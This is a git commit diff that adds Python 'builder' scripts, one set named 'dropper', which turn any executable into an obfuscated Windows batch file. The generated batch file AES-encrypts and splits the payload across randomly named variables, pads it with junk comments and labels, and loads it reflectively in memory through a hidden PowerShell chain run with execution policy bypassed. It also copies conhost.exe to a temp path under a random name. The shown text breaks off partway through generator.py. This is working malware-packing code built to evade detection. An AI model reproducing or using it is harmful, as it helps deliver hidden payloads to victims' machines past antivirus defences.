commit 5ab7731f123cbbece0f9b181010eb0c857a2c3e3
Author: i2p <i2p@maculab.dev>
Date:   Thu Aug 27 11:04:42 2026 -0600

    initial commit

diff --git a/.DS_Store b/.DS_Store
new file mode 100644
index 0000000..474837b
Binary files /dev/null and b/.DS_Store differ
diff --git a/._builders b/._builders
new file mode 100755
index 0000000..96ff44f
Binary files /dev/null and b/._builders differ
diff --git a/._original b/._original
new file mode 100755
index 0000000..96ff44f
Binary files /dev/null and b/._original differ
diff --git a/builders/.DS_Store b/builders/.DS_Store
new file mode 100644
index 0000000..245d46c
Binary files /dev/null and b/builders/.DS_Store differ
diff --git a/builders/._builder 1to1 b/builders/._builder 1to1
new file mode 100755
index 0000000..96ff44f
Binary files /dev/null and b/builders/._builder 1to1 differ
diff --git a/builders/._builder improved b/builders/._builder improved
new file mode 100755
index 0000000..96ff44f
Binary files /dev/null and b/builders/._builder improved differ
diff --git a/builders/builder 1to1/builder.py b/builders/builder 1to1/builder.py
new file mode 100644
index 0000000..34a4ff8
--- /dev/null
+++ b/builders/builder 1to1/builder.py	
@@ -0,0 +1,396 @@
+#!/usr/bin/env python3
+
+import random
+import string
+import base64
+import os
+from pathlib import Path
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import pad
+from Crypto.Random import get_random_bytes
+
+
+class CompleteBatchObfuscator:
+    
+    def __init__(self, exe_path, output_path='obfuscated_output.bat'):
+        self.exe_path = Path(exe_path)
+        self.output_path = Path(output_path)
+        self.exe_name = self.exe_path.name
+        
+        self.used_names = set()
+        
+        self.aes_key = None
+        self.iv = None
+        self.encrypted_data = None
+        self.base64_segments = []
+        self.segment_var_names = []
+        self.order_fragment_vars = {}
+        self.powershell_chain_vars = []
+        self.labels = []
+        self.junk_words = []
+        
+        print(f"init: {self.exe_name}")
+    
+    def generate_random_var_name(self, length=8, allow_special=False):
+        while True:
+            chars = string.ascii_letters + string.digits
+            name = ''.join(random.choice(chars) for _ in range(length))
+            
+            if name[0].isdigit():
+                name = random.choice(string.ascii_letters) + name[1:]
+            
+            if name not in self.used_names:
+                self.used_names.add(name)
+                return name
+    
+    def generate_random_label(self):
+        length = random.randint(6, 12)
+        chars = string.ascii_letters + string.digits
+        label = ''.join(random.choice(chars) for _ in range(length))
+        
+        if label[0].isdigit():
+            label = random.choice(string.ascii_letters) + label[1:]
+        
+        return label
+    
+    def generate_junk_words(self, count=200):
+        syllables = ['ka', 'ra', 'ta', 'na', 'ma', 'pa', 'ba', 'za', 'la', 'da',
+                     'ko', 'ro', 'to', 'no', 'mo', 'po', 'bo', 'zo', 'lo', 'do',
+                     'ki', 'ri', 'ti', 'ni', 'mi', 'pi', 'bi', 'zi', 'li', 'di']
+        
+        words = []
+        for _ in range(count):
+            word_len = random.randint(2, 4)
+            word = ''.join(random.choice(syllables) for _ in range(word_len))
+            words.append(word)
+        
+        self.junk_words = words
+        return words
+    
+    def generate_junk_line(self):
+        comment_type = random.choice(['rem', 'REM', 'Rem', '::'])
+        num_words = random.randint(3, 8)
+        words = random.sample(self.junk_words, min(num_words, len(self.junk_words)))
+        
+        if random.random() < 0.3:
+            var = self.generate_random_var_name()
+            return f'%{var}%{comment_type}%{self.generate_random_var_name()}% {" ".join(words)}'
+        else:
+            return f'{comment_type} {" ".join(words)}'
+    
+    def encrypt_exe_aes(self):
+        print(f"\naes encrypt")
+        print(f"=" * 60)
+        
+        exe_data = self.exe_path.read_bytes()
+        print(f"read exe: {len(exe_data)} bytes")
+        
+        self.aes_key = get_random_bytes(32)
+        self.iv = get_random_bytes(16)
+        print(f"key: {self.aes_key.hex()}")
+        print(f"iv: {self.iv.hex()}")
+        
+        padded_data = pad(exe_data, AES.block_size)
+        print(f"padded: {len(padded_data)} bytes")
+        
+        cipher = AES.new(self.aes_key, AES.MODE_CBC, self.iv)
+        encrypted = cipher.encrypt(padded_data)
+        print(f"encrypted: {len(encrypted)} bytes")
+        
+        self.encrypted_data = self.iv + encrypted
+        print(f"total: {len(self.encrypted_data)} bytes")
+        
+        return self.encrypted_data
+    
+    def split_base64_into_segments(self):
+        print(f"\nb64 split")
+        print(f"=" * 60)
+        
+        b64_data = base64.b64encode(self.encrypted_data).decode('ascii')
+        print(f"b64: {len(b64_data)} chars")
+        
+        segment_size = len(b64_data) // 21
+        self.base64_segments = []
+        self.segment_var_names = []
+        
+        for i in range(21):
+            start = i * segment_size
+            end = start + segment_size if i < 20 else len(b64_data)
+            segment = b64_data[start:end]
+            var_name = self.generate_random_var_name()
+            
+            self.base64_segments.append(segment)
+            self.segment_var_names.append(var_name)
+            print(f"seg {i+1:2d}: {var_name:12s} = {len(segment)} chars")
+        
+        print(f"made {len(self.base64_segments)} segments")
+        return self.base64_segments, self.segment_var_names
+    
+    def create_order_obfuscation(self):
+        print(f"\norder obfuscation")
+        print(f"=" * 60)
+        
+        order_list = '!'.join(self.segment_var_names)
+        print(f"order: {order_list[:100]}...")
+        print(f"len: {len(order_list)} chars")
+        
+        num_fragments = random.randint(20, 25)
+        fragments = []
+        fragment_vars = []
+        
+        parts = order_list.split('!')
+        parts_per_fragment = max(1, len(parts) // num_fragments)
+        
+        for i in range(0, len(parts), parts_per_fragment):
+            fragment_parts = parts[i:i+parts_per_fragment]
+            fragment = '!'.join(fragment_parts)
+            if i + parts_per_fragment < len(parts):
+                fragment += '!'
+            
+            var_name = self.generate_random_var_name(allow_special=True)
+            fragments.append(fragment)
+            fragment_vars.append(var_name)
+            self.order_fragment_vars[var_name] = fragment
+            print(f"frag {len(fragment_vars):2d}: {var_name:15s} = {fragment[:50]}...")
+        
+        print(f"made {len(fragment_vars)} fragments")
+        
+        line42_var_name = self.generate_random_var_name()
+        line42_content = ''.join(f'%{var}%' for var in fragment_vars)
+        
+        print(f"line42 var: {line42_var_name}")
+        print(f"line42: {line42_content[:100]}...")
+        
+        return line42_var_name, line42_content, fragment_vars
+    
+    def create_powershell_command(self, order_var_name):
+        print(f"\nps command")
+        print(f"=" * 60)
+        
+        key_bytes = ','.join(str(b) for b in self.aes_key)
+        
+        ps_command = f"""$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$jPFh8Se4.Key = [byte[]]@({key_bytes});$wEAR7v = [Convert]::FromBase64String(-join ($env:{order_var_name}.Split('!')).ForEach({{(Get-Item "env:$_").Value}}));$jPFh8Se4.IV = $wEAR7v[0..15];$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)"""
+        
+        print(f"ps len: {len(ps_command)} chars")
+        print(f"reflective load (in-memory)")
+        print(f"first 200: {ps_command[:200]}...")
+        
+        return ps_command
+    
+    def create_powershell_chain(self, ps_command):
+        print(f"\nps chain")
+        print(f"=" * 60)
+        
+        statements = ps_command.split(';')
+        
+        num_parts = 7
+        statements_per_part = max(1, len(statements) // num_parts)
+        
+        parts = []
+        for i in range(0, len(statements), statements_per_part):
+            part_statements = statements[i:i+statements_per_part]
+            part = ';'.join(part_statements)
+            parts.append(part)
+        
+        if len(parts) > num_parts:
+            parts = parts[:num_parts-1] + [';'.join(parts[num_parts-1:])]
+        
+        chain_vars = []
+        for i in range(min(len(parts), num_parts)):
+            var_name = self.generate_random_var_name()
+            chain_vars.append(var_name)
+        
+        self.powershell_chain_vars = chain_vars
+        
+        chain_values = {}
+        for i in range(len(chain_vars)):
+            if i < len(chain_vars) - 1:
+                value = parts[i] + f";iex $env:{chain_vars[i+1]}"
+            else:
+                value = parts[i]
+            
+            chain_values[chain_vars[i]] = value
+            print(f"chain {i+1}: {chain_vars[i]:12s} -> {value[:80]}...")
+        
+        print(f"made {len(chain_vars)}-step chain")
+        
+        return chain_vars, chain_values
+    
+    def obfuscate_string_with_vars(self, text, num_parts=None):
+        if num_parts is None:
+            num_parts = random.randint(4, 10)
+        
+        part_size = len(text) // num_parts
+        parts = []
+        var_names = []
+        
+        for i in range(num_parts):
+            start = i * part_size
+            end = start + part_size if i < num_parts - 1 else len(text)
+            part = text[start:end]
+            var_name = self.generate_random_var_name()
+            
+            parts.append(part)
+            var_names.append(var_name)
+        
+        return list(zip(var_names, parts))
+    
+    def build_batch_file(self, line42_var, line42_content, fragment_vars, chain_vars, chain_values, order_var_name):
+        print(f"\nbatch assembly")
+        print(f"=" * 60)
+        
+        lines = []
+        
+        self.labels = [self.generate_random_label() for _ in range(random.randint(10, 15))]
+        self.generate_junk_words(200)
+        
+        lines.append('@echo off')
+        
+        for _ in range(2):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[0]}')
+        for _ in range(3):
+            lines.append(self.generate_junk_line())
+        lines.append(f':{self.labels[0]}')
+        lines.append('')
+        
+        exe_parts = self.obfuscate_string_with_vars(self.exe_name, num_parts=random.randint(5, 8))
+        for var, part in exe_parts:
+            set_cmd = random.choice(['set', 'SET', 'sEt', 'SeT', 'seT', 'sET'])
+            if random.random() < 0.7:
+                lines.append(f'{set_cmd} "{var}={part}"')
+            else:
+                lines.append(f'{set_cmd} {var}={part}')
+        exe_var_ref = ''.join(f'%{var}%' for var, _ in exe_parts)
+        
+        for _ in range(random.randint(3, 6)):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[1]}')
+        lines.append(self.generate_junk_line())
+        lines.append(f':{self.labels[1]}')
+        
+        print(f"adding 21 b64 vars...")
+        for i, (var_name, segment) in enumerate(zip(self.segment_var_names, self.base64_segments)):
+            set_cmd = random.choice(['SET', 'set', 'sEt'])
+            lines.append(f'{set_cmd} {var_name}={segment}')
+            if (i + 1) % 5 == 0:
+                lines.append(self.generate_junk_line())
+        
+        for _ in range(random.randint(2, 4)):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[2]}')
+        lines.append(f':{self.labels[2]}')
+        
+        print(f"adding order fragments...")
+        for var_name, fragment in self.order_fragment_vars.items():
+            set_cmd = random.choice(['set', 'SET', 'sEt'])
+            if random.random() < 0.5:
+                lines.append(f'{set_cmd} "{var_name}={fragment}"')
+            else:
+                lines.append(f'{set_cmd} "{var_name}={fragment}" && {self.generate_junk_line()}')
+        
+        print(f"adding line 42...")
+        lines.append(f'SET "{order_var_name}={line42_content}"')
+        
+        for _ in range(random.randint(2, 4)):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[3]}')
+        lines.append(f':{self.labels[3]}')
+        
+        print(f"adding ps chain...")
+        for var_name in reversed(chain_vars):
+            value = chain_values[var_name]
+            set_cmd = random.choice(['SET', 'set', 'sEt', 'SeT'])
+            lines.append(f'{set_cmd} "{var_name}={value}"')
+        
+        print(f"adding exec cmd...")
+        lines.append(f'goto :{self.labels[4]}')
+        lines.append(f':{self.labels[4]}')
+        
+        ps_parts = self.obfuscate_string_with_vars('powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c')
+        for var, part in ps_parts:
+            set_cmd = random.choice(['set', 'SET'])
+            lines.append(f'{set_cmd} "{var}={part}"')
+        ps_ref = ''.join(f'%{var}%' for var, _ in ps_parts)
+        
+        lines.append(f'{ps_ref} %{chain_vars[0]}%')
+        
+        for i in range(5, len(self.labels)):
+            lines.append('')
+            if random.random() < 0.3 and i < len(self.labels) - 1:
+                lines.append(f'goto :{self.labels[i+1]}')
+            for _ in range(random.randint(2, 6)):
+                lines.append(self.generate_junk_line())
+            lines.append(f':{self.labels[i]}')
+        
+        for _ in range(random.randint(5, 10)):
+            lines.append(self.generate_junk_line())
+        
+        print(f"total lines: {len(lines)}")
+        
+        return lines
+    
+    def build(self):
+        print(f"\n{'='*60}")
+        print(f"batch obfuscator")
+        print(f"{'='*60}")
+        print(f"in: {self.exe_path}")
+        print(f"out: {self.output_path}")
+        
+        self.encrypt_exe_aes()
+        self.split_base64_into_segments()
+        line42_var, line42_content, fragment_vars = self.create_order_obfuscation()
+        order_var_name = self.generate_random_var_name(length=12)
+        ps_command = self.create_powershell_command(order_var_name)
+        chain_vars, chain_values = self.create_powershell_chain(ps_command)
+        lines = self.build_batch_file(line42_var, line42_content, fragment_vars, 
+                                      chain_vars, chain_values, order_var_name)
+        
+        self.output_path.write_text('\n'.join(lines), encoding='utf-8')
+        
+        print(f"\n{'='*60}")
+        print(f"done")
+        print(f"{'='*60}")
+        print(f"output: {self.output_path}")
+        print(f"lines: {len(lines)}")
+        print(f"vars: {len(self.used_names)}")
+        print(f"  payload: {len(self.segment_var_names)}")
+        print(f"  order: {len(self.order_fragment_vars)}")
+        print(f"  ps chain: {len(chain_vars)}")
+        print(f"  other: {len(self.used_names) - len(self.segment_var_names) - len(self.order_fragment_vars) - len(chain_vars)}")
+        print(f"labels: {len(self.labels)}")
+        print(f"junk: ~{len([l for l in lines if 'rem' in l.lower() or '::' in l])}")
+        print(f"key: {self.aes_key.hex()}")
+        print(f"iv: {self.iv.hex()}")
+        
+        return self.output_path
+
+
+def main():
+    import sys
+    
+    print("=" * 60)
+    print("batch obfuscator")
+    print("=" * 60)
+    
+    if len(sys.argv) < 2:
+        print("\nusage: python builder.py <input.exe> [output.bat]")
+        print("\nexample:")
+        print("  python builder.py myapp.exe obfuscated.bat")
+        sys.exit(1)
+    
+    exe_file = sys.argv[1]
+    output_file = sys.argv[2] if len(sys.argv) > 2 else 'obfuscated_output.bat'
+    
+    if not Path(exe_file).exists():
+        print(f"\nfile not found: {exe_file}")
+        sys.exit(1)
+    
+    builder = CompleteBatchObfuscator(exe_file, output_file)
+    builder.build()
+    
+    print(f"\ndone: {output_file}")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/builders/builder improved/.___init__.py b/builders/builder improved/.___init__.py
new file mode 100644
index 0000000..96ff44f
Binary files /dev/null and b/builders/builder improved/.___init__.py differ
diff --git a/builders/builder improved/._obfuscation.py b/builders/builder improved/._obfuscation.py
new file mode 100644
index 0000000..96ff44f
Binary files /dev/null and b/builders/builder improved/._obfuscation.py differ
diff --git a/builders/builder improved/._rand.py b/builders/builder improved/._rand.py
new file mode 100644
index 0000000..96ff44f
Binary files /dev/null and b/builders/builder improved/._rand.py differ
diff --git a/builders/builder improved/._run.py b/builders/builder improved/._run.py
new file mode 100644
index 0000000..96ff44f
Binary files /dev/null and b/builders/builder improved/._run.py differ
diff --git a/builders/builder improved/__init__.py b/builders/builder improved/__init__.py
new file mode 100644
index 0000000..9cc6c8a
--- /dev/null
+++ b/builders/builder improved/__init__.py	
@@ -0,0 +1,5 @@
+JUNK_DENSITY = 2
+JUNK_BLOCKS = 25
+PAYLOAD_CHUNK_SIZE = 2800
+OUTPUT_NAME_LENGTH = 9
+AES_KEY_SIZE = 32
\ No newline at end of file
diff --git a/builders/builder improved/__main__.py b/builders/builder improved/__main__.py
new file mode 100644
index 0000000..665de58
--- /dev/null
+++ b/builders/builder improved/__main__.py	
@@ -0,0 +1,2 @@
+from .cli import main
+main()
\ No newline at end of file
diff --git a/builders/builder improved/batdropper.py b/builders/builder improved/batdropper.py
new file mode 100644
index 0000000..e0d173b
--- /dev/null
+++ b/builders/builder improved/batdropper.py	
@@ -0,0 +1,4 @@
+import sys, os
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
+from dropper.cli import main
+main()
\ No newline at end of file
diff --git a/builders/builder improved/cli.py b/builders/builder improved/cli.py
new file mode 100644
index 0000000..cbc358b
--- /dev/null
+++ b/builders/builder improved/cli.py	
@@ -0,0 +1,33 @@
+import sys, os
+try:
+    from .generator import generate
+except ImportError:
+    from generator import generate
+
+def main():
+    if len(sys.argv) < 2:
+        print(f"usage: python -m dropper <input.exe> [output.bat]")
+        sys.exit(1)
+
+    input_path = sys.argv[1]
+    output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
+
+    if not os.path.exists(input_path):
+        print(f"file not found: {input_path}")
+        sys.exit(1)
+
+    with open(input_path, 'rb') as f:
+        exe_data = f.read()
+
+    if not exe_data:
+        print("empty file")
+        sys.exit(1)
+
+    print(f"in: {input_path}")
+    print(f"out: {output_path}")
+
+    if generate(exe_data, output_path):
+        print(f"\ndone: {output_path}")
+    else:
+        print("failed")
+        sys.exit(1)
\ No newline at end of file
diff --git a/builders/builder improved/crypto.py b/builders/builder improved/crypto.py
new file mode 100644
index 0000000..f5391e0
--- /dev/null
+++ b/builders/builder improved/crypto.py	
@@ -0,0 +1,126 @@
+import os
+try:
+    from . import AES_KEY_SIZE
+except ImportError:
+    AES_KEY_SIZE = 32
+
+SBOX = [
+    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
+    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
+    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
+    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
+    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
+    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
+    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
+    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
+    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
+    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
+    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
+    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
+    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
+    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
+    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
+    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16,
+]
+
+RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36]
+
+def _xtime(a):
+    return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff
+
+def _mix_single(a):
+    t = a[0] ^ a[1] ^ a[2] ^ a[3]
+    u = a[0]
+    a[0] ^= _xtime(a[0] ^ a[1]) ^ t
+    a[1] ^= _xtime(a[1] ^ a[2]) ^ t
+    a[2] ^= _xtime(a[2] ^ a[3]) ^ t
+    a[3] ^= _xtime(a[3] ^ u) ^ t
+
+def _key_expansion(key):
+    nk = len(key) // 4
+    nr = nk + 6
+    w = [key[4*i:4*i+4] for i in range(nk)]
+    for i in range(nk, 4*(nr+1)):
+        temp = list(w[i-1])
+        if i % nk == 0:
+            temp = [SBOX[temp[1]] ^ RCON[i//nk-1], SBOX[temp[2]], SBOX[temp[3]], SBOX[temp[0]]]
+        elif nk > 6 and i % nk == 4:
+            temp = [SBOX[b] for b in temp]
+        w.append(bytes([a ^ b for a, b in zip(w[i-nk], temp)]))
+    round_keys = []
+    for r in range(nr + 1):
+        rk = b''
+        for i in range(4):
+            rk += w[r*4 + i]
+        round_keys.append(rk)
+    return round_keys
+
+def _encrypt_block(block, round_keys):
+    nr = len(round_keys) - 1
+    state = [list(block[i:i+4]) for i in range(0, 16, 4)]
+    s = [[state[j][i] for j in range(4)] for i in range(4)]
+
+    for i in range(4):
+        for j in range(4):
+            s[i][j] ^= round_keys[0][i*4+j]
+
+    for rnd in range(1, nr + 1):
+        for i in range(4):
+            for j in range(4):
+                s[i][j] = SBOX[s[i][j]]
+        s[1] = s[1][1:] + s[1][:1]
+        s[2] = s[2][2:] + s[2][:2]
+        s[3] = s[3][3:] + s[3][:3]
+        if rnd < nr:
+            for j in range(4):
+                col = [s[i][j] for i in range(4)]
+                _mix_single(col)
+                for i in range(4):
+                    s[i][j] = col[i]
+        for i in range(4):
+            for j in range(4):
+                s[i][j] ^= round_keys[rnd][i*4+j]
+
+    result = bytearray(16)
+    for i in range(4):
+        for j in range(4):
+            result[i*4+j] = s[i][j]
+    return bytes(result)
+
+def _pkcs7_pad(data, block_size=16):
+    pad_len = block_size - (len(data) % block_size)
+    return data + bytes([pad_len] * pad_len)
+
+def _aes_cbc_encrypt(plaintext, key, iv):
+    padded = _pkcs7_pad(plaintext)
+    round_keys = _key_expansion(key)
+    ciphertext = b''
+    prev = iv
+    for i in range(0, len(padded), 16):
+        block = padded[i:i+16]
+        xored = bytes([a ^ b for a, b in zip(block, prev)])
+        encrypted = _encrypt_block(xored, round_keys)
+        ciphertext += encrypted
+        prev = encrypted
+    return ciphertext
+
+def _try_system_aes(data, key, iv):
+    try:
+        from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+        from cryptography.hazmat.primitives import padding
+        from cryptography.hazmat.backends import default_backend
+        padder = padding.PKCS7(128).padder()
+        padded = padder.update(data) + padder.finalize()
+        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
+        enc = cipher.encryptor()
+        return enc.update(padded) + enc.finalize()
+    except ImportError:
+        return None
+
+def encrypt_payload(data, key, iv):
+    result = _try_system_aes(data, key, iv)
+    if result is not None:
+        print("using system aes")
+        return result
+    print("using pure python aes (slow)")
+    return _aes_cbc_encrypt(data, key, iv)
\ No newline at end of file
diff --git a/builders/builder improved/generator.py b/builders/builder improved/generator.py
new file mode 100644
index 0000000..dc0443c
--- /dev/null
+++ b/builders/builder improved/generator.py	
@@ -0,0 +1,325 @@
+import os, random, string, base64
+try:
+    from . import AES_KEY_SIZE, PAYLOAD_CHUNK_SIZE, OUTPUT_NAME_LENGTH, JUNK_BLOCKS
+    from .rand import rand_str, rand_var, rand_label, rand_case
+    from .obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
+    from .crypto import encrypt_payload
+except ImportError:
+    AES_KEY_SIZE = 32
+    PAYLOAD_CHUNK_SIZE = 2800
+    OUTPUT_NAME_LENGTH = 9
+    JUNK_BLOCKS = 25
+    from rand import rand_str, rand_var, rand_label, rand_case
+    from obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
+    from crypto import encrypt_payload
+
+
+def generate(exe_data, output_path):
+    print(f"input: {len(exe_data)} bytes")
+
+    key = os.urandom(AES_KEY_SIZE)
+    iv = os.urandom(16)
+    print(f"aes-{AES_KEY_SIZE*8} key gen")
+
+    encrypted = encrypt_payload(exe_data, key, iv)
+    payload = iv + encrypted
+    print(f"encrypted: {len(payload)} bytes")
+
+    b64_payload = base64.b64encode(payload).decode('ascii')
+    print(f"b64: {len(b64_payload)} chars")
+
+    payload_vars = []
+    chunks = []
+    for i in range(0, len(b64_payload), PAYLOAD_CHUNK_SIZE):
+        chunk = b64_payload[i:i+PAYLOAD_CHUNK_SIZE]
+        var_name = rand_var(6, 12)
+        payload_vars.append(var_name)
+        chunks.append((var_name, chunk))
+    print(f"split into {len(chunks)} chunks")
+
+    order_list = '!'.join(payload_vars)
+    print(f"order list: {len(order_list)} chars")
+    
+    num_fragments = random.randint(max(len(chunks) // 3, 8), max(len(chunks) // 2, 15))
+    fragments = []
+    fragment_vars = []
+    
+    parts = order_list.split('!')
+    parts_per_fragment = max(1, len(parts) // num_fragments)
+    
+    for i in range(0, len(parts), parts_per_fragment):
+        fragment_parts = parts[i:i+parts_per_fragment]
+        fragment = '!'.join(fragment_parts)
+        if i + parts_per_fragment < len(parts):
+            fragment += '!'
+        
+        var_name = rand_var(6, 12)
+        fragments.append(fragment)
+        fragment_vars.append(var_name)
+    
+    print(f"made {len(fragment_vars)} fragments")
+    
+    concat_var_name = rand_var(8, 14)
+    output_exe_name = rand_str(OUTPUT_NAME_LENGTH, OUTPUT_NAME_LENGTH, string.ascii_letters + string.digits) + '.exe'
+
+    lines = []
+
+    lines.append(f'echo {rand_str(2,5)} > nul')
+    lines.append('@echo off')
+    lines.extend(make_junk_block())
+    lines.append(make_rem_line())
+
+    setup_label = rand_label()
+    lines.append(f':{setup_label}')
+    lines.append('')
+
+    v_conpath = rand_var(6, 10)
+    v_nhost = rand_var(5, 8)
+    v_windir_set = rand_var(5, 8)
+    v_sysnative = rand_var(6, 10)
+    v_conh = rand_var(5, 8)
+    v_exe_ext = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_nhost, 'nhost.'))
+    lines.append(make_set_cmd(v_windir_set, f'%windir%\\'))
+    lines.append(make_set_cmd(v_sysnative, 'Sysnativ'))
+    lines.append(make_set_cmd(v_conh, 'e\\co'))
+    lines.append(make_set_cmd(v_exe_ext, 'exe'))
+
+    v_set_prefix = rand_var(5, 8)
+    v_owi = rand_var(6, 10)
+    lines.append(make_set_cmd(v_set_prefix, 'SeT '))
+    lines.append(make_set_cmd(v_owi, f'{v_conpath}='))
+    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_windir_set}%%{v_sysnative}%%{v_conh}%%{v_nhost}%%{v_exe_ext}%')
+    lines.extend(make_junk_block())
+
+    check_label = rand_label()
+    fallback_label = rand_label()
+    lines.append(f':{check_label}')
+
+    v_if_set = rand_var(5, 8)
+    v_exist_set = rand_var(5, 8)
+    v_path_set = rand_var(5, 8)
+    v_then_set = rand_var(5, 8)
+    v_then_marker = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_if_set, 'if '))
+    lines.append(make_set_cmd(v_exist_set, 'exist '))
+    lines.append(make_set_cmd(v_path_set, f'%{v_conpath}% '))
+    lines.append(make_set_cmd(v_then_set, 'SET '))
+    lines.append(make_set_cmd(v_then_marker, f'{v_conpath}='))
+    lines.append(f'%{v_if_set}%%{v_exist_set}%%{v_path_set}%%{v_then_set}%%{v_then_marker}%%{v_conpath}%')
+    lines.extend(make_junk_block())
+
+    lines.append(f':{fallback_label}')
+    v_sys32_set = rand_var(5, 8)
+    v_sys32_conh = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_sys32_set, f'%windir%\\'))
+    lines.append(make_set_cmd(v_sys32_conh, 'System32\\co'))
+    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_sys32_set}%%{v_sys32_conh}%%{v_nhost}%%{v_exe_ext}%')
+    lines.extend(make_junk_block())
+
+    copy_label = rand_label()
+    lines.append(f':{copy_label}')
+
+    name_parts = [output_exe_name[:3], output_exe_name[3:-4], '.ex', 'e']
+    v_parts = []
+    for part in name_parts:
+        v = rand_var(5, 8)
+        v_parts.append(v)
+        lines.append(make_set_cmd(v, part))
+
+    v_copy_cmd = rand_var(5, 8)
+    v_tmp_dir = rand_var(5, 8)
+    v_sp = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_copy_cmd, 'copy'))
+    lines.append(make_set_cmd(v_tmp_dir, f'%tmp%\\'))
+    lines.append(make_set_cmd(v_sp, f' %{v_conpath}% '))
+
+    copy_line = f'%{v_copy_cmd}%%{v_sp}%%{v_tmp_dir}%'
+    for v in v_parts:
+        copy_line += f'%{v}%'
+    lines.append(copy_line)
+    lines.extend(make_junk_block())
+
+    payload_section_label = rand_label()
+    lines.append(f':{payload_section_label}')
+
+    shuffled_indices = list(range(len(chunks)))
+    random.shuffle(shuffled_indices)
+
+    for idx in shuffled_indices:
+        var_name, chunk_data = chunks[idx]
+        lines.append(f'{rand_case("SET")} {var_name}={chunk_data}')
+        if random.random() > 0.65:
+            lines.append(make_rem_line())
+        if random.random() > 0.85:
+            lines.extend(make_junk_block())
+
+    lines.extend(make_junk_block())
+
+    concat_label = rand_label()
+    lines.append(f':{concat_label}')
+    
+    for var_name, fragment in zip(fragment_vars, fragments):
+        if random.random() > 0.5:
+            lines.append(f'{rand_case("SET")} "{var_name}={fragment}"')
+        else:
+            lines.append(f'{rand_case("SET")} "{var_name}={fragment}" && {make_rem_line()}')
+        if random.random() > 0.7:
+            lines.append(make_rem_line())
+    
+    lines.extend(make_junk_block())
+    
+    concat_value = ''.join(f'%{var}%' for var in fragment_vars)
+    lines.append(f'{rand_case("SET")} "{concat_var_name}={concat_value}"')
+    lines.extend(make_junk_block())
+
+    ps_stage_label = rand_label()
+    lines.append(f':{ps_stage_label}')
+
+    v_stage1 = rand_var(6, 10)
+    v_stage2 = rand_var(6, 10)
+    v_stage3 = rand_var(6, 10)
+    v_stage4 = rand_var(6, 10)
+    v_stage5 = rand_var(6, 10)
+
+    key_ps = ','.join(str(b) for b in key)
+
+    v_aes_obj = rand_var(6, 10)
+    v_enc_data = rand_var(6, 10)
+    v_decryptor = rand_var(5, 8)
+    v_decrypted = rand_var(6, 10)
+    v_asm = rand_var(5, 8)
+
